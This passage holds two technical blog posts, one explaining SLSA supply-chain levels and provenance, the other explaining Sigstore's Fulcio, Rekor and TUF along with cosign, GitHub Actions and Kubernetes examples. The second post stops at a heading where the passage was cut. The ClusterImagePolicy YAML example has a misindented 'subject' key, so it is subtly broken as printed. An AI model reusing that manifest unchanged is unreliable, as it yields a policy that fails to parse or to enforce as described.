kt — Sun, 26 Apr 2026 04:59:20 +0000

Introduction

When I first investigated the SolarWinds incident, one technical detail absolutely floored me.

The attackers planted malware called SUNSPOT on SolarWinds' build servers. SUNSPOT monitored the build process every single second, and the moment the Orion platform build kicked off, it swapped the InventoryManager.cs source code with a backdoored version. Once the build finished, it swapped it back. Zero traces were left in the source code repository. The resulting binary was signed with a perfectly legitimate SolarWinds certificate and shipped to over 18,000 organizations.

The most terrifying part of this attack? The signature was 100% valid. Code signing only guarantees "this signer signed this file." It completely fails to guarantee "this binary was built from the correct source code via an untampered build process."

The Codecov incident later that year shared a similar structure. Attackers used leaked credentials to upload a malicious script directly into an GCS bucket, completely bypassing the build process. Users downloaded it directly. An artifact that never even touched the build process was distributed as legitimate.

So, what would have stopped this? What we need is verifiable evidence recording "which source this binary came from, on what platform it was built, and exactly how it was produced."

SLSA (Supply-chain Levels for Software Artifacts, pronounced 'salsa') is a framework explicitly designed to generate and verify this exact evidence. Google proposed it in 2021, and it's now an OpenSSF project. v1.1 was officially approved in April 2025, and v1.2, which introduced the Source Track, dropped in November 2025.

In this deep dive, we are ripping through the primary SLSA specification to explain exactly what we are protecting and how we protect it.

Prerequisites: What You Need to Know

What is the Supply Chain?

The software supply chain encompasses every single step from writing code to running it on a user's machine.

Between git push and npm install or docker pull, a massive amount of infrastructure intervenes: the build platform, dependency resolution, publishing, and distribution. Every single point in this diagram is a target. SolarWinds was a compromise of the "Build Platform," while Codecov was an attack on the "Distribution."

The Limits of Code Signing

Digital signatures guarantee exactly two things: "The owner of the private key signed this," and "It hasn't been modified since." That's it. It guarantees absolutely nothing else.

SUNSPOT swapped the source code during the build. The resulting binary was then signed with a legitimate certificate. The signature was mathematically perfect. But nobody could verify the relationship between the source code and the final binary.

This is the massive blind spot SLSA aims to fix.

Terminology Checklist

Let's nail down the jargon before we proceed.

Provenance: Verifiable metadata describing "where," "how," and "from what" a software artifact was created. The core concept of SLSA.
Attestation: An authenticated statement about a software artifact. Provenance is a type of Attestation.
in-toto: A framework to secure the software supply chain. SLSA uses its Attestation format.
DSSE (Dead Simple Signing Envelope): The envelope format used to sign Attestations. It wraps a JSON payload with a digital signature.
Build Platform: A hosted service that executes the build (e.g., GitHub Actions, Google Cloud Build).
Control Plane: The management component inside the build platform that controls execution and generates Provenance. It is strictly isolated from user-defined build steps (the data plane).
Tenant: The user or project using the build platform. In GitHub Actions, each repository's workflow acts as a tenant.

The Big Picture of SLSA

SLSA is a framework that defines "what must be guaranteed at each stage of the supply chain" across different levels. It aligns nicely with NIST's Secure Software Development Framework (SSDF).

The key here is that SLSA isn't a monolithic checklist. It's broken down into Tracks tackling different aspects of the supply chain, with progressive Levels inside each track.

Current tracks:

Build Track (since v1.0): Protects build integrity. The most mature track.
Source Track (added in v1.2): Protects source code integrity.
Build Environment Track (drafting): Protects the integrity of the build execution environment.
Dependency Track (drafting): Manages risks from dependencies.

We'll focus heavily on the fully released Build and Source Tracks.

Threat Model: What Are We Protecting Against?

To understand SLSA's design, you must understand the threat model. SLSA categorizes supply chain threats into 9 buckets, from (A) to (I).

SLSA doesn't fix everything. It directly mitigates threats (B) through (G). A malicious producer (A), typosquatting (H), and bad usage (I) are explicitly out of scope.

If we map real-world incidents to this threat model, it becomes terrifyingly clear this isn't just theoretical:

Threat	Incident	What Happened	SLSA Mitigation
(B)	SushiSwap (2021)	A contractor with repo access pushed a commit stealing crypto.	Source Track L4: Two-person review
(C)	PHP (2021)	Attackers compromised PHP's self-hosted git server and injected a backdoor commit.	Source Track: Robust SCM requirements
(D)	The Great Suspender (2020)	A new maintainer published an extension built from an unverified, different source.	Build Track: Detect source mismatch via Provenance
(E)	SolarWinds (2020)	SUNSPOT swapped source files during the build and signed it.	Build Track L3: Isolated builds
(F)	Codecov (2021)	Attackers directly uploaded a malicious script to GCS using leaked credentials.	Build Track: Detect missing build via Provenance
(G)	Package Mirror Attack (2008)	Researchers proved they could serve arbitrary packages by operating a mirror.	Build Track: Verify origin via Provenance

Provenance: The Core of SLSA

Before looking at the Build Track levels, you must understand SLSA's lifeblood: Provenance. Every level in the Build Track revolves around this concept.

Provenance is metadata detailing "where," "how," and "from what" an artifact was generated. SLSA structures this using the in-toto attestation format.

Let's look at what GitHub Actions spits out:

{
  "_type": "https://in-toto.io/Statement/v1",
  "subject": [{
    "name": "my-app-v1.2.3.tar.gz",
    "digest": { "sha256": "a1b2c3d4..." }
  }],
  "predicateType": "https://slsa.dev/provenance/v1",
  "predicate": {
    "buildDefinition": {
      "buildType": "https://slsa-framework.github.io/github-actions-buildtypes/workflow/v1",
      "externalParameters": {
        "workflow": {
          "ref": "refs/tags/v1.2.3",
          "repository": "https://github.com/example/my-app",
          "path": ".github/workflows/release.yml"
        }
      },
      "resolvedDependencies": [{
        "uri": "git+https://github.com/example/my-app@refs/tags/v1.2.3",
        "digest": { "gitCommit": "abc123..." }
      }]
    },
    "runDetails": {
      "builder": {
        "id": "https://github.com/slsa-framework/slsa-github-generator/.github/workflows/generator_generic_slsa3.yml@refs/tags/v2.1.0"
      }
    }
  }
}

This structure holds 4 critical elements:

externalParameters is absolutely crucial. This is the "external input" to the build, and SLSA considers it untrusted. The consumer must check this field to answer, "Was this built from the correct repo and tag?" The Great Suspender incident happened entirely because this "built from what" verification didn't exist.

builder.id is equally important. When consumers see this ID, they assume "this build platform meets SLSA Build L3." In other words, trusting the build platform is a hard prerequisite. This reflects SLSA's core principle: "Trust the platform, verify the artifact."

Build Track: Guaranteeing the Build

With Provenance understood, let's dissect the Build Track. Each level is defined by "how hard it is to forge the Provenance."

Build L1: Provenance Exists

The bare minimum. The build process spits out Provenance.

L1 Requirements:

Follows a consistent build process (e.g., scripted).
Provenance is generated (contains builder.id, buildType, externalParameters, subject).
Provenance does NOT need to be signed.

You might ask, "If it's unsigned, what's the point?" It actually has massive value. Just having Provenance makes incident response vastly easier. You can instantly answer, "Which commit did this binary come from?" It also prevents release accidents, like building from the wrong branch.

However, in L1, forging Provenance is trivial. An attacker just edits the file.

Build L2: Signed Provenance

Two game-changing differences from L1:

The build runs on a hosted platform (not a developer's laptop).
Provenance is signed by the build platform.

Crucially, the signature is applied by the platform's control plane, not the tenant (user). If the tenant signed it, leaked credentials would allow attackers to mint fake Provenance. Because the control plane signs it, forging Provenance requires compromising the build platform itself.

L2 completely neuters Codecov-style attacks. An artifact uploaded directly without triggering a build simply won't have a platform-signed Provenance. When the consumer verifies it, the attack fails.

But L2 has a flaw: It doesn't require isolation between tenants on the same platform. A malicious tenant could theoretically interfere with another tenant's build or access signing keys.

Build L3: Hardened Builds

L3 is engineered to defeat SolarWinds-style attacks. It adds 3 requirements:

Isolated builds: Every build runs in a strictly isolated environment.
Invisible signing keys: User-defined build steps have zero access to the signing keys.
Complete externalParameters: Every single external input is logged in the Provenance.

Think back to SUNSPOT. It hijacked the build environment to swap source files. L3 makes this agonizingly difficult:

Because builds are isolated, injecting malware from the outside requires breaching the platform itself.
Even if attackers inject malware into the build step, they can't access the signing key, meaning they can't forge a validly signed Provenance.
Because the Control Plane generates the Provenance, the tenant's code cannot manipulate what gets written.

It makes attacks difficult, not impossible. If the control plane has a vulnerability, L3 falls. But the bar is raised exponentially.

Build Track Level Comparison

Requirement	L1	L2	L3
Consistent build process	✅	✅	✅
Provenance generation	✅	✅	✅
Hosted build platform		✅	✅
Signed Provenance		✅	✅
Build isolation			✅
Invisible signing keys			✅
Complete externalParameters			✅
Difficulty of forging Provenance	Trivial	Requires platform compromise	Requires exploiting vulnerabilities

Source Track: Defending the Source Code

While the Build Track protects the "integrity of the build process," the Source Track protects the "integrity of the source code handed to the build." It's a relatively new addition finalized in v1.2.

The problem the Source Track solves is dead simple: If you generate flawless Provenance in the Build Track but the source code was already poisoned, you've accomplished nothing. In the PHP incident, attackers hacked the git server and injected a backdoor commit. The Build Track alone cannot tell if that commit is legitimate.

The 4 Levels of the Source Track

Source L1: Version Controlled. Source code is stored in a VCS like Git. It's vastly superior to emailing ZIP files, but offers almost zero guarantees.

Source L2: History and Provenance. Branch history must be continuous and immutable. The Source Code Management (SCM) system must issue a Source Provenance Attestation for every revision. Think of this as Build Provenance for code: it records "when, by who, and how the change was made." Force pushes and history rewriting are banned.

Source L3: Technical Controls. The SCM enforces policies at the system level. Rules like "no direct pushes to main" aren't just polite requests in a README; they are technically impossible to violate. Verifiers can mathematically prove "this revision was created following the correct procedures."

Source L4: Two-Person Review. All changes to protected branches require review by two trusted individuals. This entirely blocks SushiSwap-style attacks where an insider pushes malicious code unilaterally. If one developer's credentials are stolen, the second reviewer acts as a hard wall.

Verification Flow: What Must Consumers Check?

Generating and signing Provenance is useless if nobody checks it. SLSA dictates a strict 3-step verification process for consumers.

Step 1 asks, "Has this Provenance been tampered with?" You verify the signature and ensure the subject digest inside the Provenance perfectly matches the actual artifact in your hands. This proves it wasn't swapped for a fake binary.

Step 2 asks, "Was it built the way we expected?" This is where externalParameters verification happens. Is the builder.id trusted? Is the source repo legitimate? Is the workflow what we expected? SLSA demands that you reject the artifact if there are unknown fields. This prevents verifiers from accidentally ignoring unexpected parameters.

Step 3 is recursive dependency verification. But let's be real: traversing the Provenance of every single dependency is an operational nightmare. This is exactly what VSA (Verification Summary Attestation) solves.

VSA: Making Dependency Verification Realistic

A VSA is a higher-level attestation stating, "A trusted verifier has already validated the Provenance for this artifact."

npm implemented exactly this model. When you upload a package, npm verifies the Provenance server-side and displays the result on npmjs.com. Consumers treat npm as the trusted verifier, entirely bypassing the need to verify individual Provenance files themselves.

Real-World Implementations

GitHub Actions: Achieving Build L3

The mechanism that generates SLSA Build L3 Provenance on GitHub Actions is slsa-framework/slsa-github-generator.

This is how the L3 isolation requirement is met. Provenance generation is implemented as a Reusable Workflow running in a completely separate execution environment from the user's workflow. The user's code has zero access to the Provenance generation or signing process.

It leverages Sigstore's keyless signing. GitHub Actions workflows generate OIDC (OpenID Connect) tokens at runtime containing proof of "which repo, which workflow, and which trigger ran this." slsa-github-generator presents this token to Fulcio (Sigstore's CA) to grab a short-lived signing certificate. The signature is immortalized in Rekor (transparency log). This achieves publicly verifiable signatures with zero long-term key management.

npm: The Deepest Ecosystem Integration

npm rolled out Provenance support in 2023, boasting the deepest SLSA integration of any package ecosystem to date.

Simply appending the --provenance flag to npm publish pushes packages with Provenance from GitHub Actions or GitLab CI/CD.
Build Provenance details are front and center on every package page on npmjs.com.
npm audit signatures can batch-verify the Provenance of your entire dependency tree.
Provenance is signed via Sigstore and recorded in public transparency logs.

PyPI: PEP 740 Digital Attestations

PyPI officially introduced Digital Attestation support in November 2024 via PEP 740. It operates in tandem with Trusted Publishing (OIDC-based auth from GitHub Actions, etc.). PyPA's publishing action v1.11.0 enables it by default, bringing around 20,000 packages into Attestation-ready status.

However, as of November 2024, only about 5% of the top 360 most downloaded packages actually carried Attestations. While roughly two-thirds of the top packages haven't cut a release since the feature dropped, the ecosystem integration is undeniably shallower than npm right now. You can track adoption at Are we PEP 740 yet?.

What SLSA Does Not Cover

It's incredibly tempting to say, "It's SLSA Build L3 compliant, so it's perfectly safe." But it's not. Misunderstanding SLSA's boundaries breeds fatal overconfidence.

It does not evaluate code quality. SLSA doesn't care if your source code is riddled with zero-days. It guarantees "the code wasn't tampered with," not "the code is inherently safe."

There is no transitive trust. Just because an artifact hits SLSA Build L3 does not mean its dependencies are L3. SLSA levels apply strictly to a single artifact. Dependencies must be verified recursively.

It does not prevent typosquatting. Installing 1odash instead of lodash is entirely outside SLSA's jurisdiction. However, because Provenance hardcodes the source repo URL, it can be weaponized to verify, "Did this package actually come from the repo I think it did?"

It does not protect against malicious producers. If the author intentionally writes malware into the codebase, SLSA won't stop it. Open-source visibility increases detection, but that's not a feature of SLSA itself.

Conclusion

SLSA is a framework to mathematically verify "what source this software came from, and what exact process built it."

The Build Track progressively raises the bar for forging Provenance: L1 guarantees it exists, L2 adds platform signatures, and L3 isolates the build environments. The Source Track aggressively locks down code change management, peaking at L4 with mandatory two-person reviews.

Six years after SolarWinds, the ecosystem is rapidly catching up. GitHub Actions' slsa-github-generator, npm's native Provenance, and PyPI's PEP 740 are hardening the supply chain infrastructure. The spec itself is actively evolving, with v1.1 and v1.2 dropping in 2025 to officially enshrine the Source Track.

Will SLSA prevent every attack? No. But the difference between "we have absolutely no idea where this binary came from" and "we have mathematically verifiable evidence" is night and day—both for incident response times and the sheer wall attackers have to climb to compromise your software.

References

Sigstore Deep Dive: Unmasking the Magic Behind Keyless Verification

kt — Wed, 22 Apr 2026 14:51:44 +0000

Introduction

In my previous article, "Supply Chain Security: A Deep Dive into SBOM and Code Signing," we took Cosign's keyless signing for a spin. You run cosign sign, your browser pops up, you log in with GitHub, and boom—your container image is signed. No private key management. The moment the signing is done, the key is thrown away into the void.

It was insanely convenient. But honestly? I had absolutely no idea what was happening under the hood.

"If we threw the key away, how the hell can we verify it later?"
"What's the point of a certificate that expires in 10 minutes?"
"What exactly is a 'transparency log' recording anyway?"

And fundamentally, why were they so obsessed with erasing the very concept of a "key"?

Fast forward to 2026, and the software supply chain landscape is a complete bloodbath. Just look at what happened in March and April: attackers stole CI/CD credentials via Trivy GitHub Action tag poisoning, and immediately capitalized on the Claude Code source leak with package squatting. The attack trend has completely shifted from "exploiting code vulnerabilities" to "compromising the build process and CI/CD pipelines to inject malicious payloads." We're no longer asking, "Is this library safe?" We are asking, "Can you cryptographically prove this binary was built from the official repo, through the official CI?" If you can't, nobody is going to trust your artifact.

Traditional code signing with GPG completely fell apart in the face of this reality. Long-lived private keys bled out of CI/CD server environment variables, ex-employees' keys were left rotting, and nobody—literally nobody—took CRLs (Certificate Revocation Lists) seriously because they were too slow.

That's why Sigstore isn't just trying to be another tool. It wants to be the "Let's Encrypt for Code Signing." Just as Let's Encrypt eradicated manual certificate management and forced the entire web to HTTPS, Sigstore wants to rip the concept of "key management" out of developers' hands. They are building a world of "Ubiquitous Code Signing," where signing artifacts happens as naturally as breathing.

To bridge my initial confusion with this massive vision, I decided to completely tear down Sigstore's internals. How Fulcio issues certificates, how Rekor uses Merkle Trees to mathematically detect tampering, and how TUF guards the root of trust. As a follow-up to the previous "getting started" guide, today we are exposing the insane Rube Goldberg machine running behind the scenes just so we can throw our keys away.

1. Prerequisites: What You Need to Know

Before we dive into Sigstore, let's nail down three concepts. Skip this if you already know them.

1.1 What is OIDC (OpenID Connect)?

OIDC is a protocol where a third party proves "who you are." When you log in to Google or GitHub, that provider issues an ID Token—a signed JSON Web Token (JWT). This JWT contains a cryptographically signed statement from the provider saying, "The owner of this email address successfully authenticated at this exact time."

Sigstore hijacks this exact mechanism for "signer identity proof." In other words, it replaces GPG keys with Google/GitHub account verification.

1.2 The Basics of X.509 Certificates and CAs

The X.509 certificates you know from HTTPS are electronic documents where a Certificate Authority (CA) guarantees that "this public key belongs to this entity."

The field inside the certificate that dictates "who this entity is" is called the SAN (Subject Alternative Name). It holds an email address or a URI. For a Let's Encrypt certificate, a domain name like example.com sits in the SAN.

Normal certificates live for a year or more. Because of that, you need massive revocation infrastructures like CRL (Certificate Revocation List) or OCSP (Online Certificate Status Protocol) just in case a private key leaks. But let's be real—they are complex, slow, and browsers frequently ignore them anyway.

1.3 What is Certificate Transparency (CT)?

In 2011, a Dutch CA named DigiNotar got hacked, and bogus certificates for *.google.com were minted. This nightmare birthed Certificate Transparency (CT).

The idea behind CT is brutally simple: "Force CAs to log every single certificate they issue into a public, append-only log so anyone can watch them." If a certificate isn't in the log, the browser outright rejects it. This way, even if a CA gets compromised and mints fake certs, the community will catch it by monitoring the logs.

Sigstore dragged this CT concept into the code-signing world. The certificates Fulcio issues are recorded in a CT Log, and every single signing event is recorded in Rekor (the transparency log).

2. The Big Picture of Sigstore

With the prerequisites out of the way, let's look at the architecture. Sigstore isn't a single binary; it's a squad of four components working together.

Component	In a Nutshell	Traditional Equivalent
Cosign	The CLI doing the actual signing and verifying.	`gpg sign` / `gpg verify`
Fulcio	The CA issuing 10-minute certs based on OIDC identity.	CAs like DigiCert
Rekor	The public, append-only ledger recording all signing events.	Didn't exist
TUF	Securely distributes Fulcio's Root CA and Rekor's public keys.	Manually curling/installing root certs

When we ran cosign sign in the last article, it was orchestrating all of this behind the scenes. Let's rip open each component.

3. Fulcio: The 10-Minute Certificate Authority

Let's start with Fulcio. This is where Sigstore's most radical idea lives.

Why Limit Certificates to 10 Minutes?

As mentioned earlier, legacy code signing relied on "long-lived private keys." This is a disaster because:

You have to guard the private key with your life (using HSMs or Vault).
If it leaks, you have to trigger the agonizing CRL/OCSP revocation process.
Revocation checks are slow and clients often bypass them.

Fulcio annihilates this problem. "If we make the certificate's lifespan so short that an attacker has no time to exploit it, we don't need revocation management at all." Ten minutes is just enough time to verify the OIDC token, issue the cert, perform the signature, and log it to Rekor. After that, the certificate turns into garbage.

The Internal Flow of Issuing a Certificate

When a request hits Fulcio's POST /api/v2/signingCert, a 7-step process kicks off before you get your cert.

Let's clarify Step 3: PoP (Proof of Possession). Before hitting Fulcio, Cosign generates an ephemeral key pair and signs the OIDC token's sub claim with its private key. Fulcio verifies this signature using the provided public key. This proves "the guy asking for this cert actually owns the private key for it," preventing attackers from tying someone else's public key to their own cert.

Step 6 submits it to a CT Log, as discussed in Section 1.3. If Fulcio's CA key is compromised and rogue certs are minted, clients will reject them because they aren't in the CT Log. Recording to the CT Log is the fail-safe to monitor Fulcio itself.

Certificate Chain Structure

Fulcio builds a 3-tier certificate chain, identical to HTTPS.

The pathlen: 0 constraint ensures that the intermediate CA cannot spawn any downstream CAs. The Leaf cert is explicitly restricted to signing code.

SAN: Engraving the Signer's Identity

Fulcio automatically populates the SAN based on the OIDC Provider.

OIDC Provider	SAN Type	Example Value
Google	Email	`you@gmail.com`
GitHub (Personal)	Email	`you@users.noreply.github.com`
GitHub Actions	URI	`https://github.com/org/repo/.github/workflows/build.yml@refs/heads/main`
GitLab CI	URI	`https://gitlab.com/org/repo//.gitlab-ci.yml@refs/heads/main`
SPIFFE	URI	`spiffe://example.org/workload`
Kubernetes SA	URI	`https://kubernetes.io/namespaces/default/serviceaccounts/my-sa`

The GitHub Actions integration is particularly brilliant. Because the workflow file path and Git ref are burned directly into the SAN, you get an X.509-level guarantee that "this image was signed by this specific workflow, in this specific repo, from this specific branch."

OID Extensions: Hardcoding CI/CD Provenance

Fulcio embeds custom OID extensions (Private Enterprise Number: 1.3.6.1.4.1.57264) into the cert. In CI/CD environments, the entire build provenance is explicitly recorded.

OID (`.1.N`)	Field Name	Content
`.1.8`	OIDC Issuer	`https://token.actions.githubusercontent.com`
`.1.9`	Build Signer URI	Workflow path + ref
`.1.11`	Runner Environment	`github-hosted` or `self-hosted`
`.1.12`	Source Repository URI	`https://github.com/org/repo`
`.1.13`	Source Repository Digest	Commit SHA
`.1.14`	Source Repository Ref	`refs/heads/main`
`.1.20`	Build Trigger	`push`, `pull_request`, etc.
`.1.21`	Run Invocation URI	URL to the CI run

By just inspecting the Fulcio cert, you know exactly which repo, commit, workflow, trigger, and runner signed the binary. GPG signatures could never even dream of doing this.

4. Rekor: The Transparency Log Powered by Merkle Trees

If Fulcio is the CA minting certs, Rekor is the public ledger immutably recording every signing event.

The Problem Rekor Solves

Fulcio and CT Logs leave one gaping hole: We need temporal proof that "this signature actually happened while the 10-minute certificate was still valid." The certificate dies in 10 minutes, but if someone forges a signature using that cert 2 hours later, validating the cert chain alone won't tell you if the signature happened within the validity window.

Rekor solves this. When it receives a signing event, it records the exact time as integratedTime and signs it with its own private key. This acts as mathematical proof that the signature took place while the cert was alive.

Furthermore, Rekor structures its log as a Merkle Tree, allowing anyone to mathematically verify that historical entries haven't been tampered with.

What is a Merkle Tree?

A Merkle Tree is a binary hash tree designed to efficiently verify data integrity. It's the exact same voodoo powering Bitcoin's blockchain.

The logic is simple: Put data hashes in the leaf nodes, concatenate two hashes and hash them again, and bubble it all the way up to a single Root Hash.

Because the Root Hash is signed and made public, if you tamper with a single entry anywhere in the tree, the Root Hash completely changes and the signature breaks. That's how append-only logs guarantee integrity.

Inclusion Proof: Mathematically Proving an Entry Exists

Suppose we want to prove, "Is Entry 2 really in this log?" Doing it naively requires downloading the entire log, but with a Merkle tree, you only need O(log n) hashes.

To construct an Inclusion Proof for Entry 2, you only need the hashes of the sibling nodes along the path from Entry 2 to the Root.

Verification flow:

1. H2 = Hash(Entry 2)              ← You calculate this locally
2. H23 = Hash(H2 + H3)             ← H3 comes from Rekor
3. Root' = Hash(H01 + H23)         ← H01 comes from Rekor
4. Check if Root' matches Rekor's signed Root Hash

For a tree with 4 entries, you only need 2 hashes (H3 and H01). Even for a tree with a million entries, you only need about 20 hashes. That's the terrifying efficiency of O(log n).

The Data Written into Rekor

Each entry (usually a hashedrekord type) contains:

{
  "apiVersion": "0.0.1",
  "kind": "hashedrekord",
  "spec": {
    "data": {
      "hash": {
        "algorithm": "sha256",
        "value": "410dabcd6f1d..."
      }
    },
    "signature": {
      "content": "MEUCIQDx...(base64 encoded signature)...",
      "publicKey": {
        "content": "LS0tLS1C...(base64 encoded Fulcio cert)..."
      }
    }
  }
}

Rekor also slaps on server-side metadata:

Field	What it is
`logIndex`	The sequential index in the log (0, 1, 2, ...)
`integratedTime`	The UNIX timestamp when Rekor added the entry
`logID`	The ID of the log shard
`verification.inclusionProof`	The Merkle Inclusion Proof (array of hashes + Root Hash)
`verification.signedEntryTimestamp`	The timestamp signed by Rekor's private key

This integratedTime and signedEntryTimestamp are your temporal proof. Even after the Fulcio certificate dies 10 minutes later, Rekor's immutable ledger will forever testify that "at that specific moment, this cert was valid." This is the magic trick that lets us throw our keys away.

Rekor v2: The Next-Gen Tessera Architecture

Rekor v1 ran on Google's Trillian (the exact same backend used for Certificate Transparency) backed by MariaDB. However, Rekor v2, which went GA in October 2025, completely swapped out the backend for Trillian-Tessera (a tile-based transparency log implementation).

Key changes from v1 to v2:

Feature	v1	v2
Backend	Trillian + MariaDB	Tessera (Tile-based)
Supported Types	11 types (`hashedrekord`, `dsse`, `intoto`, etc.)	Only `hashedrekord` and `dsse`
API	Multiple endpoints	`POST /api/v2/log/entries` only
Reads	Processed by server	Highly cacheable via CDN
Witnessing	Dependent on external systems	Natively embedded
Timestamps	Generated by Rekor	Sourced from a separate Timestamp Authority
URLs	Single URL	Sharded (`logYEAR-rev.rekor.sigstore.dev`)

Rekor v1 will continue running concurrently, with a 1-year deprecation notice before it is frozen. Clients (Cosign v2.6.0+) automatically shift to v2 based on the SigningConfig and TrustedRoot distributed via TUF.

Hands-on: Querying Rekor

Let's pull the signature from our previous article straight out of Rekor.

# Install rekor-cli
brew install rekor-cli

# Check the state of the log
rekor-cli loginfo
# Verification Successful!
# Tree Size: 161024891
# Root Hash: 5a4b...

# Search for entries signed by your email
rekor-cli search --email you@example.com
# Found matching entries (listed by UUID):
# 24296fb24b8ad77a...

# Fetch the raw entry data
rekor-cli get --uuid 24296fb24b8ad77a...
# LogID: c0d23d6ad406973f...
# Attestation:
# Index: 95829475
# IntegratedTime: 2026-01-11T12:34:56Z
# UUID: 24296fb24b8ad77a...
# Body: {
#   "HashedRekordObj": {
#     "data": { "hash": { "algorithm": "sha256", "value": "..." } },
#     "signature": { "content": "...", "publicKey": { "content": "..." } }
#   }
# }

Your signature is immortalized in a public log. Since anyone in the world can read it, if an attacker somehow bypasses OIDC and signs something using your identity, you will spot the anomaly simply by monitoring the ledger.

5. TUF: Defending the Root of Trust

Everything we've discussed relies on a single, terrifying assumption: "The Fulcio Root CA and the Rekor public key are authentic." If an attacker swaps those out, the entire house of cards collapses instantly.

Safely distributing this "Trust Root" is the job of TUF (The Update Framework).

Why the Naive Approach Fails

You might think, "Just hardcode the root cert into the Cosign binary!" But that's a trap for two reasons:

Forced binary updates for key rotation. Every time Fulcio rotates its Root CA, every single user globally would have to re-download and reinstall Cosign.
CDN compromise leads to total takeover. If the download server gets hacked, attackers just ship a modified binary with their own root cert. Game over.

TUF is a framework specifically engineered to mathematically defeat rollback attacks, freeze attacks, mix-and-match attacks, arbitrary software attacks, and total-collapse-via-single-key compromises.

The Four Roles of TUF

TUF structures its chain of trust using four metadata files (roles).

Here's how they interact:

root.json: The absolute god-key. It defines the public keys for all other roles and their threshold signatures (e.g., 3-of-5).
targets.json: Records the hashes and sizes of the actual files we want (trusted_root.json, fulcio.crt.pem, rekor.pub).
snapshot.json: Locks down the exact versions of the targets. This stops attackers from mixing an old targets.json with a new root.json.
timestamp.json: Updated constantly with a very short lifespan. This physically prevents attackers from feeding you stale metadata and claiming it's fresh.

The Root Key Ceremony: Forging Trust in Public

root.json is the single most critical file in Sigstore's security model. It is signed during a highly-orchestrated public event called the Key Ceremony. The first one in June 2021 was literally live-streamed on CloudNative.tv.

Five trusted keyholders take physical hardware security keys and perform a 3-of-5 threshold signature to mint the root.json. The entire process is recorded, audited, and committed to the sigstore/root-signing repo. Unless an attacker physically robs three keyholders at gunpoint simultaneously, root.json cannot be forged.

Bootstrapping: Establishing Trust on First Run

Cosign ships with a very old, foundational root.json hardcoded into the binary. On the first run, it executes the following protocol to safely fetch the latest Trust Root.

The genius here is the chained verification of root.json. Version N is explicitly verified by the keys from Version N-1. This means Sigstore can continuously rotate its root keys without forcing you to update your CLI binary. If the CDN is compromised and serves a bogus root.json, your client instantly rejects it because the previous key's signature won't match.

The final payload, trusted_root.json, hands you everything you need—Fulcio's CA chain, Rekor's key, CT Log keys—safely and securely.

6. The Full Flow: Deconstructing `cosign sign`

Now that we understand the trinity of Fulcio, Rekor, and TUF, let's look at exactly what happens when you type cosign sign $IMAGE.

Side Note: What "Signing a Container" Actually Means

Let's clear up a massive misconception. "Signing an image" does not mean injecting signature data inside the container image or its metadata.

If you modify the container image to append a signature, the image's hash (digest) instantly changes, invalidating the signature you just applied. It's a fatal chicken-and-egg problem.

Cosign bypasses this using a Detached Signature approach:

It calculates the hash of the pristine image manifest (Step 4).
It takes the resulting signature data, and instead of cramming it into the image, it pushes it back to the exact same registry, right next to the original image, disguised as a dummy OCI Artifact with a .sig tag (Step 6). Note: The latest OCI v1.1 spec added the Referrers API, allowing manifests to link to each other directly without relying on ugly .sig tags.

Signing a container literally just means "creating cryptographic proof of its hash and sliding it quietly onto the shelf next to the original."

The private key only exists in RAM for the few seconds between Step 1 and Step 7. Once it's nuked, nobody in the universe—not even you—can ever sign anything with it again.

When you verify it, you don't use a key; you use an identity:

cosign verify $IMAGE \
  --certificate-identity="you@gmail.com" \
  --certificate-oidc-issuer="https://accounts.google.com"

Here's the verification logic:

Pull the signature manifest (the .sig tag) from the registry.
Extract the signature, the Fulcio cert, and the Rekor log entry.
Validate the cert chain up to the Fulcio Root CA (which we got from TUF).
Verify Rekor's integratedTime falls inside the cert's 10-minute validity window.
Confirm the cert's SAN exactly matches --certificate-identity.
Confirm the cert's Issuer OID matches --certificate-oidc-issuer.
Use the public key embedded in the cert to mathematically verify the image digest signature.
Verify Rekor's Inclusion Proof using Rekor's public key (from TUF).

If all checks pass, you have irrefutable cryptographic proof that "This exact image was signed by this specific identity, authenticated by this specific OIDC provider, at that exact point in time."

7. GitHub Actions Integration: Total Automation

Where this architecture truly screams is inside a CI/CD pipeline. GitHub Actions natively provides its own OIDC Provider (https://token.actions.githubusercontent.com). Cosign automatically detects it, bypasses the browser popup, and executes a fully headless keyless signing flow.

Workflow Configuration

name: Build and Sign
on:
  push:
    branches: [main]

jobs:
  build-sign:
    runs-on: ubuntu-latest
    permissions:
      id-token: write    # Required to mint the OIDC token
      packages: write    # Required to push to GHCR
      contents: read

    steps:
      - uses: actions/checkout@v4

      - uses: sigstore/cosign-installer@v3

      - name: Login to GHCR
        uses: docker/login-action@v3
        with:
          registry: ghcr.io
          username: ${{ github.actor }}
          password: ${{ secrets.GITHUB_TOKEN }}

      - name: Build and Push
        id: build-push
        run: |
          IMAGE="ghcr.io/${{ github.repository }}:${{ github.sha }}"
          docker build -t "$IMAGE" .
          docker push "$IMAGE"
          DIGEST=$(docker inspect --format='{{index .RepoDigests 0}}' "$IMAGE")
          echo "digest=$DIGEST" >> "$GITHUB_OUTPUT"

      - name: Sign with Cosign (keyless)
        run: cosign sign --yes ${{ steps.build-push.outputs.digest }}

Adding permissions.id-token: write is all it takes. Cosign detects it's running inside CI, grabs the token, and does its job.

Verifying the CI Signature

cosign verify \
  ghcr.io/myorg/myrepo@sha256:abc123... \
  --certificate-identity="https://github.com/myorg/myrepo/.github/workflows/build.yml@refs/heads/main" \
  --certificate-oidc-issuer="https://token.actions.githubusercontent.com"

This verification command guarantees one thing: "This image was irrefutably built and signed by the build.yml workflow inside the myorg/myrepo repository, triggered from the main branch."

8. Kubernetes Policy Controller: Forcing the Rules

Once you can sign things, the next logical step is "refuse to deploy anything that isn't signed." While I showed off Kyverno in the last article, the Sigstore project natively maintains the Policy Controller, a dedicated Admission Webhook.

How It Works

Setup

# Install Policy Controller
helm repo add sigstore https://sigstore.github.io/helm-charts
helm install policy-controller sigstore/policy-controller \
  -n cosign-system --create-namespace

# Opt-in your target namespace
kubectl label namespace default policy.sigstore.dev/include=true

ClusterImagePolicy: Defining the Law

apiVersion: policy.sigstore.dev/v1beta1
kind: ClusterImagePolicy
metadata:
  name: require-github-actions-signed
spec:
  images:
    - glob: "ghcr.io/myorg/**"
  authorities:
    - keyless:
        url: https://fulcio.sigstore.dev
        identities:
          - issuer: "https://token.actions.githubusercontent.com"
          subject: "https://github.com/myorg/myrepo/.github/workflows/build.yml@refs/heads/main"

This policy dictates: "Images under ghcr.io/myorg/ are ONLY allowed to run if they were signed by the build.yml workflow on the main branch via GitHub Actions."

Evaluation logic:

If multiple ClusterImagePolicy resources match, all of them must be satisfied (AND).
If a single policy has multiple authorities, any one of them will satisfy it (OR).

Enforcing SBOM Attestations

